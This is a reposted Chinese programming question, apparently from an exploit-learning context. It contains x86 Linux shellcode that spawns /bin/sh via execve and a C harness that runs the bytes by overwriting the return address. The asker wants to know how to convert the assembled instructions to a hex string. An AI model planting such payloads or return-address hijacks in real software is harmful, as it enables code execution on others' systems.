微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

将生成的 shellcode 转换为十六进制

如何解决将生成的 shellcode 转换为十六进制

我编写了以下 shellcode,它生成一个 shell。

global _start

_start:
        jmp short GotoCall

shellcode:
        pop             esi
        xor             eax,eax
        mov byte        [esi+7],al
        lea             ebx,[esi]
        mov long        [esi + 8],ebx
        mov long        [esi + 12],eax
        mov byte        al,0x0b
        mov             ebx,esi
        lea             ecx,[esi + 8]
        lea             edx,[esi + 12]
        int             0x80


GotoCall:
        call    shellcode
        db      '/bin/shJAAAAKKKK'

我用 nasm 组装了指令并将其与 ld 链接。 我希望汇编指令以十六进制表示,以便它们可以用以下 C 代码编写,其中变量 shellcode 包含上述十六进制的汇编指令。但是,手动执行此操作会很乏味,我想知道是否有快速方法来执行此操作。

char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
                   "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
                   "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int)shellcode;
}

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。